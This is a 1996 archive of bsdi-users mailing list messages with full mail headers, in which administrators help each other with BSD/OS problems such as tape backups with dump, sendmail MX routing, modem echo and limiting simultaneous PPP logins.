nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA23755 for ; Wed, 27 Nov 1996 16:24:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23086 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:19:47 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: lynx errs with "start file could not be found or ..." Date: Wed, 27 Nov 1996 16:17:46 -0500 (EST) I don't know when this started occurring, but I don't seem to be able to use "lynx" on my BSD/OS v2.1 (all patches) system anymore. Attempting to view BSD, Inc's home page (just run "lynx" with no arguments, they've preconfigured that as 'home'), or several other places, gives this error: lynx: Start file could not be found or is not text/html or text/plain Exiting... Any ideas? Thanks - Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Wed Nov 27 19:40:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["662" "Wed" "27" "November" "1996" "16:27:56" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "14" "Re: directory access" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA24026 for ; Wed, 27 Nov 1996 16:33:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23125 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:28:37 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: bsdi-users@BSDI.COM Subject: Re: directory access Date: Wed, 27 Nov 1996 16:27:56 -0500 (EST) > Why not chroot them to their home directory and use AMD to mount the bins > you want them to access to the machine itself, thus giving them a > chroot'ed enviroment with access to all the gnu bins?? This is feasible in principle, but to give them a complete environment you need more than just the bin directories. (That's why I said "and so forth".) Not impossible, but a lot of work... and well beyond what could reasonably be expected of someone who doesn't even know the permission system very well. Henry Spencer henry@zoo.toronto.edu From VM Wed Nov 27 19:40:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1357" "Wed" "27" "November" "1996" "16:38:53" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "26" "Re: Best way to link..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA24299 for ; Wed, 27 Nov 1996 16:44:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23146 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:39:28 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Bleau Schneider cc: bsdi-users@BSDI.COM Subject: Re: Best way to link... Date: Wed, 27 Nov 1996 16:38:53 -0500 (EST) > ...we have a 4G drive that is partitioned to use only 2G, now the > need arises to bring up the other 2G but I want to link, say the old /var > to the second /var fs, (/var2). What is the best way to creat a hard > link so we don't have to worry about two filesystems... Links don't do what you seem to think they do. There is no way to magically make two filesystems look like one. If you want to be able to use that 4G as a single filesystem, it has to *be* a single filesystem. Either you have to back up the filesystem, re-partition the drive, re-initialize the now-larger filesystem, and restore the contents... or you have to accept that you have two filesystems, and must manage them as two filesystems (having, for example, two separate pools of free space). There is no halfway option. Symbolic (aka "soft") links can hide the physical locations of things somewhat, by causing a reference using one name to be done using another, but they do not hide other aspects of filesystem boundaries, such as the fact that each filesystem has its own free-space pool. Hard links only give files multiple names within a single filesystem; they cannot cross filesystem boundaries in any way. Henry Spencer henry@zoo.toronto.edu From VM Wed Nov 27 19:40:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["662" "Wed" "27" "November" "1996" "14:49:59" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "29" "RE: ftp rights" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA24574 for ; Wed, 27 Nov 1996 16:52:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23186 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:50:25 -0500 (EST) In-Reply-To: <01BBDC46.A362C040@fifc19.fia.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: Drew Gainor cc: "'BSDI-USERS'" Subject: RE: ftp rights Date: Wed, 27 Nov 1996 14:49:59 -0700 (MST) Both IIRC. On Wed, 27 Nov 1996, Drew Gainor wrote: > Is there a way to set group rights or just overall rights with wu-ftp? > > > > On Tuesday, November 26, 1996 11:05 PM, Stephen Fisher[SMTP:lithium@cia-g.com] wrote: > - > > - >Usually it is in the source code for the ftpd, try downloading wu-ftpd and > - >setting it up how you want it then compile and install it. > - > > - >On Tue, 26 Nov 1996, Drew Gainor wrote: > - > > - >> Is there a way to set the default rights for my virtual domain customers? > - >> > - >> Something like umask? > - >> > > > Drew Gainor > dgainor@fia.net > System Engineer > First Internet Franchise Corp. > From VM Wed Nov 27 19:40:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] ["613" "Wed" "27" "November" "1996" "16:43:58" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" "" "13" "Re: Digiboard Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA24580 for ; Wed, 27 Nov 1996 16:54:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA23154 for bsdi-users-outgoing; Wed, 27 Nov 1996 16:44:32 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Problems Date: Wed, 27 Nov 1996 16:43:58 -0500 (EST) > I was wondering if anyone has experience a steady transmit and receive > light after the getty starts the tty process... The usual cause of this is that the modem is echoing back the characters coming out to it -- notably the login prompt -- and since the system is also echoing characters coming in to it, they're busy echoing each others' characters back and forth endlessly. Modems to be used for dialin via getty must be set so that they do not echo. Henry Spencer henry@zoo.toronto.edu From VM Wed Nov 27 19:40:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1051" "Wed" "27" "November" "1996" "17:29:37" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "33" "Re: dump settings" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25672 for ; Wed, 27 Nov 1996 17:32:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA23229 for bsdi-users-outgoing; Wed, 27 Nov 1996 17:18:34 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: "Edwin C. Philips" cc: bsdi-users@BSDI.COM Subject: Re: dump settings Date: Wed, 27 Nov 1996 17:29:37 -0500 (EST) I think the commands are on page 133; it backs up both root and /usr. However, with a 2 Gb drive I think you have to change the 10000000 to 20000000. This dump.daily file that you are creating with it gets included into your daily run script so that it automatically backs up every day. The challenge comes when you have a crisis and can't use the same type of hard drive to restore to. BSDI told me to start an install process on the new drive as if you were starting from scratch, and then abort when it gives you the option of a shell. On Wed, 27 Nov 1996, Edwin C. Philips wrote: > > Help, I can't backup! > I am trying to use dump to backup my system, but I cant > figure out what settings I need to use for length and > density, well, actually, I do know the length, I just > don't know about the density, i see a unit of bpi(also > written BPI). Is that supposed to be bits/inch? Bytes/inch? > > I have a 2Gig dat, using 90M tapes, if that is of any > importance. > > Thanks, > > Edwin C. Philips > edwin@tcsourceone.com > > From VM Wed Nov 27 19:41:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1073" "Wed" "27" "November" "1996" "17:32:02" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "30" "Re: sending mail from a virtual domain" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25681 for ; Wed, 27 Nov 1996 17:33:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA23235 for bsdi-users-outgoing; Wed, 27 Nov 1996 17:21:01 -0500 (EST) In-Reply-To: <329C9D15.145E@atgi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: "Jason D. Montgomery" cc: bsdi-users@BSDI.COM Subject: Re: sending mail from a virtual domain Date: Wed, 27 Nov 1996 17:32:02 -0500 (EST) Oy wey, That means you have to reconfigure sendmail. BSDI has a 7 page document that they will email you if you ask for it. And attached to it is a script that Chris Kottaridis wrote to automatically create all the extra sendmail files you need. send a message to chrisk@bsdi.com and ask him for it. On Wed, 27 Nov 1996, Jason D. Montgomery wrote: > Hello, > > I'm trying to find a way to send mail out from our BSDI 2.1 server so > that the from address appears to be from one of our virtural domain > names. I need to be able to do it with SmartList v3.11pre4. I'd > appriciate any solutions or suggestions to help solve this problem. > > Thanks, > Jason > > > --------------------------------------------------------------------- > Jason D. Montgomery E-mail: > Technicial Director WWW: www.atgi.com > > Active Technologies Group, Inc. > 2999 E. Dublin Granville Rd. Ste#205 > Columbus, OH 43231 > (614) 523-1135 > --------------------------------------------------------------------- > From VM Wed Nov 27 19:41:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["699" "Wed" "27" "November" "1996" "18:39:24" "-0500" "Joe BSD" "bsdi@strike.net" nil "31" "Re: dump settings" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA27601 for ; Wed, 27 Nov 1996 18:46:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA23421 for bsdi-users-outgoing; Wed, 27 Nov 1996 18:39:51 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Joe BSD Sender: owner-bsdi-users@lists.gateway.com To: "Edwin C. Philips" cc: bsdi-users@BSDI.COM Subject: Re: dump settings Date: Wed, 27 Nov 1996 18:39:24 -0500 (EST) Try this: mt -f /dev/nrst0 rewind dump 0ufB /dev/nrst0 2000000 / dump 0ufB /dev/nrst0 2000000 /var mt -f /dev/nrst0 rewind (You need a dump line for each file system (ie. / , /var, /usr)) On Wed, 27 Nov 1996, Edwin C. Philips wrote: > > Help, I can't backup! > I am trying to use dump to backup my system, but I cant > figure out what settings I need to use for length and > density, well, actually, I do know the length, I just > don't know about the density, i see a unit of bpi(also > written BPI). Is that supposed to be bits/inch? Bytes/inch? > > I have a 2Gig dat, using 90M tapes, if that is of any > importance. > > Thanks, > > Edwin C. Philips > edwin@tcsourceone.com > > From VM Wed Nov 27 19:41:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1899" "Wed" "27" "November" "1996" "13:55:28" "-1000" "David Park" "davidp@cyber-hawaii.com" nil "41" "MX and sendmail 8.8.3" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA27882 for ; Wed, 27 Nov 1996 18:56:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA23490 for bsdi-users-outgoing; Wed, 27 Nov 1996 18:56:11 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Park Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: MX and sendmail 8.8.3 Date: Wed, 27 Nov 1996 13:55:28 -1000 (HST) Hi folks, I've already checked the archives and a couple of books on DNS and sendmail and I can't seem to find the answer to this problem I've been having. Here's the setup any help would be greatly appreciated. Our primary server is a p133 with 64 megs of ram. We have a stadnard 3c509 and a 4 gig scsi drive. We currently host about 100 domains. some are virtual hosts some are just entries. I used the openfiles work around to get our name server running ( working on a dedicated namesvere soon.) We are running sendmail 8.8.3 for mail and apache 1.1.1 for web service. Everything seems to be working smoothly everything seems to be working except for one thing. We have a domain name that currently uses our server for DNS and web service. The customer wants all e-mail routed to a different server. Easy right? I setup an MX record for the domain name, restarted the nameserver and restarted sendmail with the hopes that it would all fly together. To make a long story short, instead of sending the mail to the MX it tries to deliver it locally. At first I thought maybe I had installed it into my sendmail.cw so I checked that out. It wasn't in there. Then I thought my rules for doing our shadow mailings was messing it up. Nope all the other domains seem to work ( of course all of the other domains also deliver mail locally, so maybe my rules aren't working?), and I've checked just about everything that I cuold think of. I'm at my wits end, if someone can help please let me know.. Thanks, David Park frustrated aministrator. PS The MX pointer isn't to a cname, I thought this might be a problem too :). -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQBNAjDZ3dEAAAECANAaytuQRXri3lBO3fF6CJAdjSPGlYjHC2yGF5JgrmuOl2Ah cTCM4mqdHjhYPvs0Pyn46WKr/4/iLUNVrrzZRS0ABRG0F2RhdmlkcEBjeWJlci1o YXdhaWkuY29ttA1EYXZpZCBTLiBQYXJr =MC3g -----END PGP PUBLIC KEY BLOCK----- From VM Sun Dec 1 18:01:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["851" "Wed" "27" "November" "1996" "19:58:04" "-0500" "Steve McCoole" "mccoole@smm.com" nil "20" "Re: Digiboard Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29816 for ; Wed, 27 Nov 1996 20:06:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA23690 for bsdi-users-outgoing; Wed, 27 Nov 1996 20:00:59 -0500 (EST) Message-Id: <199611280058.TAA00235@rivendell.smm.com> In-Reply-To: References: Precedence: bulk From: Steve McCoole Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Digiboard Problems Date: Wed, 27 Nov 1996 19:58:04 -0500 (EST) In a previous message, Henry Spencer said: > > I was wondering if anyone has experience a steady transmit and receive > > light after the getty starts the tty process... > > The usual cause of this is that the modem is echoing back the characters > coming out to it -- notably the login prompt -- and since the system is > also echoing characters coming in to it, they're busy echoing each others' > characters back and forth endlessly. Modems to be used for dialin via > getty must be set so that they do not echo. > Unless you are also doing something other than straight getty you'll also want to disable the result codes on the modem, so that it isn't things like CONNECT, etc. to getty and login. Steve -- Steve McCoole | One of these days, I'm gonna go to lunch and mccoole@smm.com | just not come back. - S. McCoole From VM Sun Dec 1 18:01:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1083" "Wed" "27" "November" "1996" "20:07:07" "-0500" "Douglas Sand" "dsand@cyberzone-inc.com" nil "31" "Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29820 for ; Wed, 27 Nov 1996 20:10:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA23699 for bsdi-users-outgoing; Wed, 27 Nov 1996 20:10:55 -0500 (EST) Message-Id: <1.5.4.32.19961128010707.006ab4a4@main.cyberzone-inc.com> X-Sender: dsand@main.cyberzone-inc.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Douglas Sand Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Double Logins Date: Wed, 27 Nov 1996 20:07:07 -0500 Hello Group, We are seeing more and more of our customers who have installed their network connections in a work and home machine using both accounts AT THE SAME TIME. Is there any known way to prevent users already logged into the system from being able to log in on a second line? At one point I do remember a discussion on this, and there was a solution which was not liked by anyone because it worked well as long as the user had disconnected properly, however, if a user dropped carrier they were then locked out of the system until someone manually removed a login files from their home directory. I am sure I am not the only ISP out here with this problem, and any help would be much appreciated. We are using BSD v2.1 with the Apachee Server. TIA! Doug //========================++===============================\\ || Douglas Sand || dsand@cyberzone-inc.com || || CyberZone, Inc. || http://www.cyberzone-inc.com || || Ann Arbor, Michigan || (313) 668-2060 || \\========================++===============================// From VM Sun Dec 1 18:01:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1681" "Wed" "27" "November" "1996" "15:39:36" "-1000" "David Park" "davidp@cyber-hawaii.com" nil "35" "sendmail 8.8.3" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA00749 for ; Wed, 27 Nov 1996 20:40:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA23778 for bsdi-users-outgoing; Wed, 27 Nov 1996 20:40:20 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: David Park Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: sendmail 8.8.3 Date: Wed, 27 Nov 1996 15:39:36 -1000 (HST) This is a follow up to my previous message. I haven't seen it come on the list yet but.. After playing aorund with the sendmail.cf and serveral other thing I jsut could not get my sendmail 8.8.3 to read MX records for mailing. I did however check with an older version of sendmail 8.7.6 and everything seems to have gone back to normal it reads MX records fine and everything seems to be okay. Brief intro to what I have been doing, I have a server that hosts dns, web and mail. A client onlyw anted dns and web service with mail routed somewhere else. I have sendmail 8.8.6 ( I got this from BSDI, btw.) and my DNS has a MX entry to forward e-mails. for some reason 8.8.6 would not forward the mail according to the MX record. It would only deliver locally. I wasn't sure if it's a problem with 8.8.6, my web server and out network ( we have 40 + virtual hsots, with 100+ dns entries), or if it was the sendmail itself. After goofing with all kinds of stuff, I jsut backed down the server to 8.7.x sendmail and it's all working again. I'm not sure if it's because I'm missing a config statement in sendmail.cw or if the binary is messed up, I have the source and am going through it now. I haven't seen any ref's to this problem anywhere yet. If someone has gone through this and has a working 8.8.6 that can work in the above configuration any help would be appreciated. Thanks in Advance, Dvid Park -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQBNAjDZ3dEAAAECANAaytuQRXri3lBO3fF6CJAdjSPGlYjHC2yGF5JgrmuOl2Ah cTCM4mqdHjhYPvs0Pyn46WKr/4/iLUNVrrzZRS0ABRG0F2RhdmlkcEBjeWJlci1o YXdhaWkuY29ttA1EYXZpZCBTLiBQYXJr =MC3g -----END PGP PUBLIC KEY BLOCK----- From VM Sun Dec 1 18:01:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1410" "Thu" "28" "November" "1996" "12:39:25" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "32" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA00748 for ; Wed, 27 Nov 1996 20:40:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA23770 for bsdi-users-outgoing; Wed, 27 Nov 1996 20:39:56 -0500 (EST) In-Reply-To: <1.5.4.32.19961128010707.006ab4a4@main.cyberzone-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: Douglas Sand cc: bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Thu, 28 Nov 1996 12:39:25 +1100 (EST) > We are seeing more and more of our customers who have installed their > network connections in a work and home machine using both accounts AT THE > SAME TIME. > > Is there any known way to prevent users already logged into the system from > being able to log in on a second line? As a provider who charges by connect TIME, not flat-rate access, I have no problem with this. Indeed, we have some people who need "intermittent" need for 5 or 6 machines simultaneously. They don't have access to ISDN and they don't want to slow it all down by sharing one 28K8 link. They are more than happy to "overload" their account and pay 5* or 6* the hourly rate to have 5 or 6 machines. It's a BONUS in their eyes, that we ALLOW multiple logins. However, if you must do it the other way, why not modify ppp.login (ppp.up, whatever) to check if the SAME USER is already online. If so, fail, send 'em a message to tell them WHY it failed, log it (so you can call them/e-mail them/whatever) and drop the line? > At one point I do remember a discussion on this, and there was a solution > which was not liked by anyone because it worked well as long as the user had > disconnected properly, however, if a user dropped carrier they were then > locked out of the system until someone manually removed a login files from > their home directory. The above, in the script, should prevent this problem. RossW From VM Sun Dec 1 18:01:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1425" "Wed" "27" "November" "1996" "20:58:33" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "41" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA01585 for ; Wed, 27 Nov 1996 21:06:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA23851 for bsdi-users-outgoing; Wed, 27 Nov 1996 21:07:23 -0500 (EST) In-Reply-To: <1.5.4.32.19961128010707.006ab4a4@main.cyberzone-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Douglas Sand cc: bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Wed, 27 Nov 1996 20:58:33 -0500 (EST) Sure, just write a little script that does a who, takes that output and checks it with their login name, and if one line of it matches, it exits. Put this in their .login file. I haven't done it, but I would think it would work. On Wed, 27 Nov 1996, Douglas Sand wrote: > Hello Group, > > We are seeing more and more of our customers who have installed their > network connections in a work and home machine using both accounts AT THE > SAME TIME. > > Is there any known way to prevent users already logged into the system from > being able to log in on a second line? > > At one point I do remember a discussion on this, and there was a solution > which was not liked by anyone because it worked well as long as the user had > disconnected properly, however, if a user dropped carrier they were then > locked out of the system until someone manually removed a login files from > their home directory. > > I am sure I am not the only ISP out here with this problem, and any help > would be much appreciated. > > We are using BSD v2.1 with the Apachee Server. > > TIA! > > Doug > > //========================++===============================\\ > || Douglas Sand || dsand@cyberzone-inc.com || > || CyberZone, Inc. || http://www.cyberzone-inc.com || > || Ann Arbor, Michigan || (313) 668-2060 || > \\========================++===============================// > > From VM Sun Dec 1 18:01:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1663" "Wed" "27" "November" "1996" "21:12:46" "-0500" "Douglas Sand" "dsand@cyberzone-inc.com" nil "46" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA01609 for ; Wed, 27 Nov 1996 21:16:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA23875 for bsdi-users-outgoing; Wed, 27 Nov 1996 21:16:17 -0500 (EST) Message-Id: <1.5.4.32.19961128021246.006aacb0@main.cyberzone-inc.com> X-Sender: dsand@main.cyberzone-inc.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Douglas Sand Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Wed, 27 Nov 1996 21:12:46 -0500 Brian, Thanks for the response, however, sorry if I was not clear, these accounts are ppp dial-in accounts without a shell, therefore the "who" will NOT reflect their being logged in! At 08:58 PM 11/27/96 -0500, you wrote: >Sure, just write a little script that does a who, takes that output and >checks it with their login name, and if one line of it matches, it exits. > >Put this in their .login file. I haven't done it, but I would think it >would work. > >On Wed, 27 Nov 1996, Douglas Sand wrote: > >> Hello Group, >> >> We are seeing more and more of our customers who have installed their >> network connections in a work and home machine using both accounts AT THE >> SAME TIME. >> >> Is there any known way to prevent users already logged into the system from >> being able to log in on a second line? >> >> At one point I do remember a discussion on this, and there was a solution >> which was not liked by anyone because it worked well as long as the user had >> disconnected properly, however, if a user dropped carrier they were then >> locked out of the system until someone manually removed a login files from >> their home directory. >> >> I am sure I am not the only ISP out here with this problem, and any help >> would be much appreciated. >> >> We are using BSD v2.1 with the Apachee Server. >> >> TIA! >> >> Doug //========================++===============================\\ || Douglas Sand || dsand@cyberzone-inc.com || || CyberZone, Inc. || http://www.cyberzone-inc.com || || Ann Arbor, Michigan || (313) 668-2060 || \\========================++===============================// From VM Sun Dec 1 18:01:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1271" "Wed" "27" "November" "1996" "21:34:26" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "38" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA02162 for ; Wed, 27 Nov 1996 21:34:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA23889 for bsdi-users-outgoing; Wed, 27 Nov 1996 21:36:05 -0500 (EST) Message-Id: <199611280235.VAA26416@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@BSDI.COM" , "Douglas Sand" Subject: Re: Double Logins Date: Wed, 27 Nov 96 21:34:26 Yes there was a conversation, i beleive one remedy was to give each user a STATIC ip address... On Wed, 27 Nov 1996 20:07:07 -0500, Douglas Sand wrote: >Hello Group, > >We are seeing more and more of our customers who have installed their >network connections in a work and home machine using both accounts AT THE >SAME TIME. > >Is there any known way to prevent users already logged into the system from >being able to log in on a second line? > >At one point I do remember a discussion on this, and there was a solution >which was not liked by anyone because it worked well as long as the user had >disconnected properly, however, if a user dropped carrier they were then >locked out of the system until someone manually removed a login files from >their home directory. > >I am sure I am not the only ISP out here with this problem, and any help >would be much appreciated. > >We are using BSD v2.1 with the Apachee Server. > >TIA! > >Doug > >//========================++===============================\\ >|| Douglas Sand || dsand@cyberzone-inc.com || >|| CyberZone, Inc. || http://www.cyberzone-inc.com || >|| Ann Arbor, Michigan || (313) 668-2060 || >\\========================++===============================// > > From VM Sun Dec 1 18:01:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["608" "Thu" "28" "November" "1996" "14:40:35" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "19" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA04056 for ; Wed, 27 Nov 1996 22:44:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA24035 for bsdi-users-outgoing; Wed, 27 Nov 1996 22:41:23 -0500 (EST) In-Reply-To: <1.5.4.32.19961128021246.006aacb0@main.cyberzone-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: Douglas Sand cc: Brian Backer , bsdi-users@BSDI.COM Subject: Re: Double Logins Date: Thu, 28 Nov 1996 14:40:35 +1100 (EST) > Thanks for the response, however, sorry if I was not clear, these accounts > are ppp dial-in accounts without a shell, therefore the "who" will NOT > reflect their being logged in! > >> > >> We are using BSD v2.1 with the Apachee Server. > >> Ummm.... how do they get to run ppp if they are not logged in? I know, in *my* setup (BSDI 2.0.1) the user calls, gets asked a login/password (scripted usually), then their SHELL is ppp. They don't have a SHELL account, but they sure do log in. It's then a trivial matter to see if any given user is logged in already (or how many times etc). RossW From VM Sun Dec 1 18:01:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["496" "Wed" "27" "November" "1996" "23:17:34" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "16" "Re: 100BaseTX Fast Ethernet On BSDI 2.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com 